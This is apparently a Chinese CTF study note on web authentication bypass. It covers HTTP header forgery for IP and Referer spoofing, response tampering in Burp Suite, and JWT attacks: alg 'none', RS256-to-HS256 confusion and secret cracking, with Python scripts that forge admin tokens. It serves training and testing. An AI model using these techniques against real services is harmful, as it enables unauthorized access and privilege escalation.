优秀的人,不是不合群,而是他们合群的人里面没有你
注意:这种题每次开始做的时候一定要清理缓存!!
WEB前端数据伪造
首先要知道HTTP请求头各分部的功能
- Host:
- 含义:指定了被请求资源的主机名和端口号。
- 示例:Host: www.example.com
- User-Agent:
- 含义:指定了客户端的信息,通常是浏览器和操作系统的标识。
- 示例:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/98.0.4758.102 Safari/537.36
- Accept:
- 含义:指定了客户端能够处理的媒体类型。
- 示例:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
- Accept-Language:
- 含义:指定了客户端能够接受的语言类型。
- 示例:Accept-Language: en-US,en;q=0.5
- Accept-Encoding:
- 含义:指定了客户端能够接受的内容编码方式,通常用于压缩传输内容。
- 示例:Accept-Encoding: gzip, deflate
- Content-Type:
- 含义:指定了请求或响应主体的MIME类型。
- 示例:Content-Type: application/json
- Authorization:
- 含义:指定了客户端的身份验证信息。
- 示例:Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
- Referer:
- 含义:指定了请求的来源页面 URL,用于表明请求是从哪个页面跳转过来的。
- 示例:Referer: http://www.example.com/page1.html
- Cookie:
- 含义:包含了客户端之前收到的服务器设置的Cookie信息。
- 示例:Cookie: sessionId=abc123; username=johndoe
- Cache-Control:
- 含义:控制缓存的行为。
- 示例:Cache-Control: max-age=3600
- 这些请求头字段提供了关于客户端和请求的各种元数据信息,服务器可以根据这些信息来处理请求并提供相应的响应。
根据提示,伪造请求头,下面是案例:
Referer:来源伪造
Referer: http://127.0.0.1
Referer:http://127.0.0.1
X-Forwarded-For:ip伪造,可以是127.0.0.1 10.xxx,localhost等
User-Agent:请求头伪造
Cookie:cookie信息
下面是伪造ip方法汇总
x-forwarded-for: 127.0.0.1
x-remote-IP: 127.0.0.1
x-remote-ip: 127.0.0.1
x-client-ip: 127.0.0.1
x-client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
CDN-Src-IPhead:127.0.0.1
X-Forwarded-For 字段的值通常是一个IP地址列表,其中包含了请求经过的每个代理服务器的IP地址,最左
边的IP地址是最初客户端的真实IP地址,接下来的IP地址依次是每个代理服务器的IP地址。例如:
X-Forwarded-For: 192.0.2.1, 10.0.0.1, 10.10.0.1
在这个例子中,最初的客户端IP地址是 192.0.2.1,请求经过了两个代理服务器,分别是 10.0.0.1 和10.10.0.1。
剩下两个案例就是,根据提示,比如说只能用HAHA浏览器访问,就是修改浏览器头,我是外国人,那么language只能保留en-us这一部分,如果要判断只能是从本地请求过来,就修改referer。
来一个难点的,AJAX题目
AJAX可以实现异步更新网页,AJAX漏洞基本都是修改相应包,在burpsuite里面,在proxy里右键-拦截执行-此请求的相应-修改响应的数据-放包-放包,(修改响应包的数据改成什么样子,需要看js代码里的内容)
就是拦截修改返回的数据,修改好了再发给浏览器~~
JWT算法伪造
JWT全称是JSON Web Token,是一种使用 JSON 作为数据载体,通过对称或非对称加密方式对数据进行加密并加
签,可以安全传输数据保证不被数据篡改,一般用于认证Authentication与授权 Authorization
由 Header、Payload、Signature三部分构成,用点分隔,数据采用Base64URL进行编码。
Header是JWT的第一个部分,是一个 JSON 对象,主要声明了JWT的签名算法,如“HS256”、“RS256”等,以及
其他可选参数,如“kid”等。
Payload是JWT的第二个部分,这也是一个 JSON 对象,主要承载了各种声明并传递明文数据,一般用于存储用户
的信息,如 id、用户名、角色、令牌生成时间和其他自定义声明。
Signature 是对 Header 和 Payload 进行签名,具体是用什么加密方式写在 Header的alg中。
同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
工具脚本我都放在upload目录下的jwt认证绕过工具.rar,自己下载就行~
python解题需要安装库,命令:
pip3 install PyJWT -i https://pypi.tuna.tsinghua.edu.cn/simple
解题思路
- 首先是要登陆才能有cookie或者token,目的就是要解密修改token,有些一进去就有token,有些需要你登陆进去修改token,可以注册登录,反正主要是考察用户的验证绕过嘛
- 反正获取到token是第一步,第二步是要知道你要越权的目标,比如admin用户,manage用户
- 获取到token和目标后,需要key
- 获取key的方式有4种,第一种是直接爆破,第二种是通过目录扫描等信息收集得到key,第三步是用空算法绕过试一试,第四步情况特殊,当token的内容特别特别长,这就是RS256加密,有一个专门的方法把RS256转换成HS256后,在重新生成jwt的token
- 获取到key后,就是组合加密,根据token可以base64解密的内容格式,调整到需要的格式,修改想要越权的用户,使用脚本生成jwt的token
- 替换token,这里的替换可以分2中,第一种在重放器里发一下,第二个还需要后渗透,在抓包的过程中修改,然后再网页翻看,但是不要刷新网页
固定格式:
- 进行解码,把token的内容用base64解码,把解码的参数格式化
- 测试直接爆破
例题汇总
可以用到这个网站https://jwt.io/对token或者session的内容解密格式化,可以看到数据分成三段,每段用.分割,在网站自动颜色区分。也可以直接复制所有的token用base64解码。
第一段是header,标注加密算法
第二段是payload,是数据的载体,数据保存在这里,基本都是靠修改第二段
第三段是签名,难点是爆破签名里面的密钥
例题1【考察flask题目的正常解题思路】
已知题目是flask搭建的,解密falsk的session
知道key:f4c56c18-6469-4e20-ac08-144166744a08-
抓到看到cookie的数据:
session=eyJhZG1pbiI6ZmFsc2V9.ZxG9AQ.cGeIfUJFZjSfEJ58sxcplb3isoA
【对第一段base64解码看看】
得到的结果{"admin":'false'}
第一种方法思路使用脚本工具
python xxx.py encode -s 'key的值' -t '{admin:True}'
比如:python flask_session_cookie_manager3.py encode -s 'f4c56c18-6469-4e20-ac08-144166744a08' -t '{"admin":True}'
# 注意:编码问题,在git下或者kali下执行
把结果替换到数据包里面,然后发送
第二种解题思路就是,我知道key和payload,但是我用flask方法
from flask import *
app = Flask(__name__)
app.config['SECRET_KEY'] = "secret_key"
# 把key修改成知道的内容
@app.route("/",methods=['GET','POST'])
def login():
session['username'] = u'admin'
session["admin"] = True
return 'OK'
# 把这个格式改成和题目要求一样的
if __name__ == '__main__':
app.run(host='0.0.0.0', port=666)
# 运行后,抓包就能得到jwt格式化的数据,然后修改一下
第三种就是用套用的jwt脚本,但是这一题用不了!!因为这一题不是考察jwt,这个是考察flask口令绕过,注意前面第一第二种和下面第三种不是通用的!!!分辨是不是jwt就看第二段能不能base64解码!!
import jwt
payload = {"username": "admin题目要求得到", "exp": "抓包得到"}
headers = {
"alg": "HS256",
"typ": "JWT"
}
print(jwt.encode(payload, "爆破得到",algorithm="HS256", headers=headers))
然后生成的token替换掉原来的就行~
例题2【考察空算法绕过】
抓包,发现token进行解码
对第一段,第二段base64解码
结果是这样
eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzI5NjgxOTg2fQ.smyGRZS_O5hMSP0_-jiMiGs8qskpOdQRzKeA5btQ6iM
eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9 {"typ":"jwt","alg":"HS256"}
eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzI5NjgxOTg2fQ {"username":"guest","exp":1729681986}
然后我们测试一下是不是允许空算法绕过,按照题目要求,修改成admin,剩下的就是下面的模板
import jwt
jwt02 = {"username": "admin", "exp": "1729218909"}
jwt01 = {
"alg": "none",
"typ": "JWT"
}
print(jwt.encode(jwt02, "",algorithm="none", headers=jwt01))
测试空算法绕过,生产第一段第二段,运行结果如下
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoiMTcyOTY4MTk4NiJ9.
直接替换所有,发送测试
例题3【考察密钥替换】
rs256的token会特别长,我们把rs256改成hs256这样就好办了
抓包找到token是我们需要的,把token的内容复制下来比如oken_here
python jwt_tool.py token_here -pk pubkey -T -S hs256
python jwt_tool.py eyJ0eXAiOiJqd3QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzI5MjM0MzQxfQ.eptO58pgE0TUovOo_b7Y3bXN4-RYAy67axzq16k1EzLXECDlDYCg36XuFJz7ew2kIhvy_kBU6Sj56U_m9Jy5JU4pl6habLhRg_1d0aLDBgwfOQEWW29R0JR0JxH_QFcuRPHQN-3qfU_sXZo93Ex3mtTISHTEwjNNjXpj7O7IASQkwOneEX4s-AC9jDHKYhrk2wq7MRtpjaXCeOil1vUgstyUMUnyRUj82hiAd82cqOil8mf66nTMcdri4pQeyNY7LpMXAmX8cQjSEdDFbRoblqgnoPCMIz_90y_2lDOQzNaBS1eycbWecuah1Sh2bpsKspvO2J-J56CzsVMcZB2iPA -pk pubkey -T -S hs256
然后按照顺序和题目要求,题目要求是admin,但是解析发现是guest登陆
选择输入:2 --选择算法修改
选择输入:HS256 --修改成256加密
选择输入:0 --修改完毕下一步
选择输入:1 --修改username的内容,本来是guest
选择输入:admin --username的内容改成admin
选择输入:0 --到处结果
eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI5MjE5ODkyfQ.TZb_sP_MZ35DR7ops7tTLkV9LASI82rSu9z_mSTJRL8
生成的结果放进burpsuite替换token,然后发送下
使用方法就这样:
例题4【考察jwt密钥爆破】
环境工具准备:放在kali下,解压(unzip c-jwt-cracker-master.zip),进入到目录(cd c-jwt-cracker-master/),执行:apt-get install libssl-dev,执行完成后再执行:make,执行成功,在目录下生成一个名为:jwtcrack的可执行文件。
题目提示爆破密钥,在burp里面复制全部的token,比如token_here
用法 ./jwtcrack token_here
等待爆破出密钥比如QQQXXX,注意这里生成的加密方式是HS256,然后看题目格式,要求如果是admin
import jwt
payload = {"username": "admin题目要求得到", "exp": "抓包得到"}
headers = {
"alg": "HS256",
"typ": "JWT"
}
print(jwt.encode(payload, "QQQXXX",algorithm="HS256", headers=headers))
# 替换进去,生成的结果替换掉原来的token
例题5【结合一起考察】
题目登陆页面,随便账号登陆后,发现登陆成功,用户名为test
抓包,找到token,base64解码,发现当前用户是test,想修改成admin
修改需要key值,但是找不到,尝试爆破,得到key的值
然后把key值带入脚本
import jwt
payload = {"username": "admin"}
headers = {
"alg": "HS256",
"typ": "JWT"
}
print(jwt.encode(payload, "SeC3",algorithm="HS256", headers=headers))
把结果替换到burp里面的token
例题6【越权】
注册发现有admin账户,注册一个test用户后,没啥思路,正常按照web进行目录扫描,发现robots.txt,找到key
然后正常带入改成admin以及对应的格式
注意,这个时候越权成功,但是不能再重放器里面用
刷新一下网页,在burp修改后在发送一下,才能越权成功,越权之后不能刷新
**发现一个flag.png**,但是无法显示,下载下来修复文件头